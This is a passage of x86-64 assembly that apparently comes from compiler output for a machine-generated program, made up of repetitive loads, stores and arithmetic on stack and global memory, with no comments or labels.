xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov dword [rsp + 0x54c8], eax
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9be0]
mov qword [rsp + 0xcc70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc70]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb140]
mov qword [rcx], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0xcc78], rax
lea rax, [rsp + 0x199c]
mov qword [0x1401cdf10], rax
movsx eax, word [rsp + 0x14e8]
mov rcx, qword [0x1401cde10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc830]
mov word [rcx], ax
movsx eax, byte [rsp + 0x23c]
movsx ecx, byte [rsp + 0x2f1]
add eax, ecx
mov rcx, qword [rsp + 0xa428]
mov byte [rcx], al
movzx eax, word [rsp + 0x15a8]
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0x9908]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc540], rax
lea rax, [rsp + 0xa640]
mov qword [rsp + 0xcc80], rax
mov rax, qword [rsp + 0xb4f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x53c0]
mov ecx, dword [rsp + 0x4efc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
movzx eax, word [rsp + 0x1ae4]
mov word [rsp + 0x1b90], ax
movzx eax, word [rsp + 0x1838]
movzx ecx, word [rsp + 0x1b20]
sub eax, ecx
mov rcx, qword [0x1401cdc10]
mov word [rcx], ax
movsx eax, word [0x1401cc190]
mov rcx, qword [rsp + 0x9b08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14d8], ax
lea rax, [rsp + 0x20f]
mov qword [rsp + 0xcc88], rax
movzx eax, byte [rsp + 0x2ec]
mov rcx, qword [rsp + 0xbc80]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x21c], al
mov eax, dword [rsp + 0x47c4]
mov dword [rsp + 0x54cc], eax
mov rax, qword [rsp + 0x93a8]
mov rcx, qword [rsp + 0xa188]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa158]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0x81d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x97b0], rax
lea rax, [rsp + 0x9068]
mov qword [rsp + 0xcc90], rax
movsx eax, byte [rsp + 0x2e2]
movsx ecx, byte [rsp + 0x348]
xor eax, ecx
mov rcx, qword [rsp + 0xa9a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f3]
or eax, ecx
mov byte [0x1401cc0ce], al
movzx eax, word [0x1401cd830]
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xc5b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19c4]
shl eax, cl
mov word [rsp + 0x195c], ax
mov rax, qword [rsp + 0xb758]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd8a0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9900]
mov byte [rcx], al
lea rax, [rsp + 0x210]
mov qword [rsp + 0xcc98], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0xcb50]
mov qword [rsp + 0xcca0], rax
mov rax, qword [rsp + 0xc068]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9588]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3e8]
mov rcx, qword [rsp + 0xacc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5240], eax
mov rax, qword [rsp + 0xc058]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19c0]
add eax, ecx
mov rcx, qword [0x1401cd9a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc738]
movzx eax, word [rax]
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xa6d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc638]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78], al
lea rax, [rsp + 0x157c]
mov qword [rsp + 0xcca8], rax
movsx eax, word [0x1401cc034]
movsx ecx, word [rsp + 0x180c]
add eax, ecx
mov rcx, qword [rsp + 0x9a80]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1a8]
mov qword [rsp + 0xccb0], rax
mov rax, qword [rsp + 0x93a8]
mov rcx, qword [rsp + 0xc928]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x49ec], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xc640]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x99c8], rax
lea rax, [rsp + 0x52a4]
mov qword [rsp + 0xccb8], rax
movsx eax, byte [rsp + 0x29f]
mov rcx, qword [rsp + 0xa8e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0cf], al
mov rax, qword [rsp + 0xab88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x26e]
xor eax, ecx
mov byte [rsp + 0x2e2], al
lea rax, [rsp + 0x17fc]
mov qword [rsp + 0xccc0], rax
movzx eax, byte [rsp + 0x323]
mov rcx, qword [rsp + 0x9aa8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc160]
mov byte [rcx], al
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16f4]
or eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0xbbf0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5164]
shl eax, cl
mov dword [rsp + 0x4718], eax
mov rax, qword [rsp + 0x81c0]
mov rcx, qword [0x1401cc028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc378]
mov qword [rcx], rax
lea rax, [rsp + 0x4ef0]
mov qword [rsp + 0xccc8], rax
mov rax, qword [rsp + 0xcae0]
mov rcx, qword [rsp + 0xbd80]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb5b0], rax
movzx eax, word [0x1401cdaf8]
mov rcx, qword [rsp + 0x91b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0d8], ax
movsx eax, word [rsp + 0x19c4]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbfc8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x34b]
mov byte [rsp + 0x387], al
mov rax, qword [rsp + 0x9ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9578]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x32f], al
lea rax, [rsp + 0x346]
mov qword [rsp + 0xccd0], rax
mov rax, qword [rsp + 0xac20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54b8], eax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x9600]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbfd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb760]
mov eax, dword [rax]
mov dword [rsp + 0x54d0], eax
mov rax, qword [0x1401cc028]
mov rcx, qword [rsp + 0xcc40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa238], rax
mov rax, qword [rsp + 0xadb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb688]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdda0]
mov byte [rcx], al
lea rax, [rsp + 0x1a50]
mov qword [rsp + 0xccd8], rax
movzx eax, word [rsp + 0x1b54]
movzx ecx, word [0x1401cc0cc]
and eax, ecx
mov rcx, qword [rsp + 0xa738]
mov word [rcx], ax
movzx eax, byte [rsp + 0x232]
mov byte [rsp + 0x388], al
movsx eax, word [rsp + 0x1600]
movsx ecx, word [rsp + 0xfc4]
or eax, ecx
mov rcx, qword [rsp + 0xc920]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401cd710]
sar eax, cl
mov dword [rsp + 0x53c4], eax
lea rax, [rsp + 0xa6f8]
mov qword [rsp + 0xcce0], rax
mov rax, qword [rsp + 0xc8d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb7e0]
mov qword [rsp + 0xcce8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcce8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x94c8]
mov dword [rcx], eax
mov rax, qword [0x1401cc028]
mov qword [rsp + 0xccf0], rax
lea rax, [rsp + 0x2d5]
mov qword [0x1401cdf18], rax
mov rax, qword [rsp + 0xb290]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa018]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x340], al
movzx eax, byte [rsp + 0x304]
mov rcx, qword [0x1401cd958]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x252], al
lea rax, [rsp + 0x15a0]
mov qword [rsp + 0xccf8], rax
movzx eax, word [rsp + 0x1a7c]
movzx ecx, word [rsp + 0x1a94]
sub eax, ecx
mov rcx, qword [rsp + 0x9498]
mov word [rcx], ax
lea rax, [rsp + 0x9388]
mov qword [rsp + 0xcd00], rax
mov rax, qword [rsp + 0xbf10]
mov rcx, qword [rsp + 0xc8f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x98f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xacd0]
mov rcx, qword [rsp + 0xa488]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x81f0], rax
mov rax, qword [rsp + 0x8ff0]
mov eax, dword [rax]
mov dword [rsp + 0x54d4], eax
movsx eax, word [rsp + 0x14e8]
mov rcx, qword [rsp + 0xb608]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc1f0], ax
mov rax, qword [rsp + 0xbcc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa5a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1884], ax
mov rax, qword [rsp + 0xc238]
movzx eax, word [rax]
mov word [rsp + 0x1b9c], ax
movsx eax, byte [rsp + 0x2f0]
mov rcx, qword [rsp + 0x9ac8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x264], al
movzx eax, byte [rsp + 0x2d5]
mov rcx, qword [rsp + 0xb800]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x27a], al
mov rax, qword [0x1401cc010]
mov qword [rsp + 0xcd08], rax
mov rax, qword [rsp + 0xc538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa0c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5150]
mov dword [rsp + 0x54d8], eax
mov rax, qword [rsp + 0xa0d0]
mov rcx, qword [rsp + 0xa260]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc600], rax
movzx eax, word [rsp + 0x1448]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [0x1401cdd68], ax
mov rax, qword [rsp + 0xb2e0]
movsx eax, word [rax]
mov rcx, qword [0x1401cdb80]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x142c], ax
mov rax, qword [rsp + 0x9df8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x17b]
mov rcx, qword [rsp + 0xb308]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x272], al
mov rax, qword [rsp + 0x9818]
movzx eax, byte [rax]
mov byte [rsp + 0x389], al
mov rax, qword [rsp + 0xc7f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8f60]
mov qword [rsp + 0xcd10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4ed0], eax
mov rax, qword [rsp + 0xa248]
mov rax, qword [rax]
mov qword [rsp + 0xcd18], rax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xb0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4930], eax
mov rax, qword [rsp + 0xafc8]
mov rcx, qword [rsp + 0xb628]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x97a8]
mov qword [rcx], rax
lea rax, [rsp + 0x192c]
mov qword [rsp + 0xcd20], rax
movzx eax, byte [rsp + 0x2a9]
movzx ecx, byte [0x1401cc01b]
sub eax, ecx
mov rcx, qword [0x1401cdc28]
mov byte [rcx], al
movsx eax, word [rsp + 0x18d0]
mov rcx, qword [rsp + 0xb6b8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a0c], ax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0xcd28], rax
mov rax, qword [rsp + 0xc8c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1678]
sub eax, ecx
mov word [rsp + 0x1508], ax
mov eax, dword [rsp + 0x4ecc]
mov ecx, dword [rsp + 0x4704]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5248], eax
mov rax, qword [rsp + 0x9278]
mov eax, dword [rax]
mov dword [rsp + 0x54dc], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xaf30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcc68]
mov qword [rcx], rax
lea rax, [rsp + 0xac10]
mov qword [rsp + 0xcd30], rax
movsx eax, byte [rsp + 0x34f]
movsx ecx, byte [rsp + 0x296]
add eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
movzx eax, word [rsp + 0x14b8]
mov word [0x1401cdf20], ax
lea rax, [rsp + 0x36b]
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad00]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x204], al
movsx eax, word [rsp + 0x19f0]
mov rcx, qword [0x1401cdd30]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1ad8], ax
mov eax, dword [rsp + 0x52b0]
mov dword [rsp + 0x54e0], eax
mov rax, qword [rsp + 0xc290]
mov rcx, qword [rsp + 0x8f90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc90], rax
mov rax, qword [rsp + 0xa478]
mov qword [rsp + 0xcd40], rax
mov eax, dword [rsp + 0x50a0]
movzx ecx, al
mov eax, dword [0x1401cd720]
shl eax, cl
mov dword [rsp + 0x5378], eax
movzx eax, byte [rsp + 0x225]
mov rcx, qword [rsp + 0xad08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0x9f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1401cd8a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1b2c]
mov word [rsp + 0x1ba0], ax
movzx eax, byte [rsp + 0x342]
mov rcx, qword [rsp + 0xcc78]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9160]
mov byte [rcx], al
movzx eax, word [0x1401cd830]
mov word [rsp + 0x1ba4], ax
mov eax, dword [rsp + 0x4ff4]
mov ecx, dword [rsp + 0x4e60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5120], eax
mov rax, qword [rsp + 0xa918]
mov rcx, qword [rsp + 0xb788]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa800]
mov qword [rcx], rax
lea rax, [0x1401cc020]
mov qword [rsp + 0xcd48], rax
mov eax, dword [rsp + 0x5494]
mov ecx, dword [rsp + 0x4f80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9968]
mov dword [rcx], eax
lea rax, [rsp + 0x14ec]
mov qword [rsp + 0xcd50], rax
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc08a]
add eax, ecx
mov byte [0x1401cc0d2], al
mov rax, qword [rsp + 0xc638]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x277]
and eax, ecx
mov rcx, qword [rsp + 0xc3f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb5d8]
movzx eax, word [rax]
mov rcx, qword [0x1401cd780]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1690]
mov word [rsp + 0x1ba8], ax
movzx eax, byte [rsp + 0x345]
movzx ecx, byte [rsp + 0x2d9]
sub eax, ecx
mov rcx, qword [rsp + 0xa828]
mov byte [rcx], al
mov rax, qword [rsp + 0xc490]
mov ecx, dword [0x1401cd710]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ab4], eax
mov rax, qword [rsp + 0xc620]
mov rcx, qword [rsp + 0xbd20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc258]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ca0]
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xb9f0]
mov rcx, qword [rsp + 0xa910]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0xbe80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb680]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [0x1401cc1f4], ax
mov rax, qword [rsp + 0x9218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc060]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2c9], al
lea rax, [0x1401cc110]
mov qword [rsp + 0xcd60], rax
movzx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0xcbc0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x247], al
mov rax, qword [rsp + 0xa0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x38a], al
mov rax, qword [rsp + 0xa2a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcb38]
mov qword [rsp + 0xcd68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd68]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x98d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f88]
mov rcx, qword [rsp + 0xaed8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9e38], rax
lea rax, [rsp + 0x5268]
mov qword [rsp + 0xcd70], rax
mov rax, qword [rsp + 0x91e8]
mov rcx, qword [rsp + 0x8438]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa8d8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x177c]
mov rcx, qword [rsp + 0xbf58]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401cdad8]
mov word [rcx], ax
lea rax, [rsp + 0x1fe]
mov qword [rsp + 0xcd78], rax
mov rax, qword [rsp + 0xb558]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19fc]
sub eax, ecx
mov rcx, qword [rsp + 0xa268]
mov word [rcx], ax
mov rax, qword [rsp + 0xa468]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x167c]
add eax, ecx
mov rcx, qword [rsp + 0xa808]
mov word [rcx], ax
lea rax, [rsp + 0x1380]
mov qword [rsp + 0xcd80], rax
mov rax, qword [rsp + 0xcaa8]
mov ecx, dword [rsp + 0x51f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f30], eax
mov rax, qword [rsp + 0x9918]
mov eax, dword [rax]
mov dword [rsp + 0x54e4], eax
mov rax, qword [rsp + 0x9f10]
mov rcx, qword [rsp + 0xc998]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbe18], rax
mov rax, qword [rsp + 0x9d40]
mov rax, qword [rax]
mov qword [rsp + 0xcd88], rax
mov rax, qword [rsp + 0xba48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1730]
sub eax, ecx
mov word [0x1401cdd68], ax
mov rax, qword [rsp + 0xbfc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1048], ax
mov rax, qword [rsp + 0xcb80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb338]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x328], al
lea rax, [rsp + 0x2f6]
mov qword [rsp + 0xcd90], rax
mov rax, qword [rsp + 0x9810]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd978]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x313], al
lea rax, [rsp + 0xcc38]
mov qword [rsp + 0xcd98], rax
mov eax, dword [rsp + 0x5080]
mov ecx, dword [rsp + 0x5478]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5138], eax
mov rax, qword [rsp + 0x9228]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5060]
sar eax, cl
mov dword [rsp + 0x4f0c], eax
lea rax, [rsp + 0xb7f8]
mov qword [rsp + 0xcda0], rax
mov rax, qword [rsp + 0x9a90]
movzx eax, word [rax]
mov word [0x1401cdf24], ax
mov rax, qword [rsp + 0xb450]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18a0]
shl eax, cl
mov word [rsp + 0x198c], ax
lea rax, [rsp + 0x2b3]
mov qword [rsp + 0xcda8], rax
mov rax, qword [rsp + 0xa038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc1d8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xca38]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9380]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xbbe8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0d8]
mov qword [rsp + 0xcdb0], rax
mov rax, qword [rsp + 0x9dc0]
mov rcx, qword [rsp + 0x9d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb5d0], rax
lea rax, [rsp + 0x5228]
mov qword [rsp + 0xcdb8], rax
mov rax, qword [rsp + 0x9b28]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5254], eax
mov rax, qword [rsp + 0xb688]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2e2]
add eax, ecx
mov byte [0x1401cd7df], al
mov rax, qword [rsp + 0x9568]
movzx eax, word [rax]
movzx ecx, word [0x1401cc11c]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x205]
mov byte [rsp + 0x38b], al
movsx eax, byte [rsp + 0x2f0]
mov rcx, qword [rsp + 0xcb60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb8d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb020]
movzx eax, word [rax]
mov word [rsp + 0x1bac], ax
mov rax, qword [rsp + 0x8848]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa910]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9210]
mov qword [rsp + 0xcdc0], rax
mov rax, qword [rsp + 0xa5e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fe0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5434], eax
mov rax, qword [rsp + 0xa128]
mov rcx, qword [rsp + 0x9048]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0xb2e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19b0]
shl eax, cl
mov word [0x1401cc1f8], ax
lea rax, [0x1401cc08c]
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xb260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1f0], al
lea rax, [rsp + 0x1574]
mov qword [rsp + 0xcdd0], rax
movzx eax, byte [rsp + 0x2e9]
mov rcx, qword [0x1401cdd20]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0xacc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbb80]
mov qword [rsp + 0xcdd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdd8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa3e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0x93e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x82a8], rax
mov rax, qword [rsp + 0xb6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f00]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9700]
mov qword [rsp + 0xcde0], rax
movzx eax, byte [rsp + 0x1b1]
mov rcx, qword [0x1401cd958]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc043], al
mov rax, qword [rsp + 0xc5d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b8]
add eax, ecx
mov rcx, qword [rsp + 0xa718]
mov byte [rcx], al
mov rax, qword [rsp + 0xac88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2c9]
sub eax, ecx
mov byte [rsp + 0x1f2], al
lea rax, [0x1401cc12c]
mov qword [rsp + 0xcde8], rax
movzx eax, word [rsp + 0x1964]
movzx ecx, word [rsp + 0x1ab4]
add eax, ecx
mov word [rsp + 0x1950], ax
mov eax, dword [rsp + 0x537c]
mov dword [rsp + 0x54e8], eax
mov rax, qword [rsp + 0xa080]
mov rcx, qword [rsp + 0x95f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb9c0], rax
mov rax, qword [rsp + 0x7fb8]
mov rcx, qword [rsp + 0x81f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
lea rax, [rsp + 0x514c]
mov qword [rsp + 0xcdf0], rax
mov rax, qword [rsp + 0xb498]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xebc], ax
lea rax, [rsp + 0x15c0]
mov qword [0x1401cdf28], rax
lea rax, [rsp + 0x23a]
mov qword [rsp + 0xcdf8], rax
mov rax, qword [rsp + 0xa6c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2e0]
and eax, ecx
mov byte [rsp + 0x2b8], al
mov rax, qword [rsp + 0xc970]
movzx eax, word [rax]
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb928]
mov rcx, qword [rsp + 0xbc38]
mov qword [rsp + 0xce00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce00]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xacd0], rax
mov rax, qword [rsp + 0x91d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f94]
shl eax, cl
mov dword [rsp + 0x4e54], eax
mov rax, qword [rsp + 0x9ae0]
mov qword [rsp + 0xce08], rax
mov rax, qword [rsp + 0x9eb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5434], eax
lea rax, [rsp + 0x1740]
mov qword [rsp + 0xce10], rax
mov rax, qword [0x1401cdc98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x344]
or eax, ecx
mov byte [0x1401cc0d3], al
mov rax, qword [rsp + 0xacc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a4c]
add eax, ecx
mov rcx, qword [rsp + 0xc7b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x27c]
movzx ecx, byte [0x1401cd845]
sub eax, ecx
mov byte [rsp + 0x2c6], al
lea rax, [rsp + 0x1b20]
mov qword [rsp + 0xce18], rax
mov rax, qword [rsp + 0xa580]
mov ecx, dword [rsp + 0x5280]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [0x1401cc028]
mov qword [rsp + 0xce20], rax
mov rax, qword [rsp + 0xae38]
mov rcx, qword [rsp + 0xbb10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa9d0]
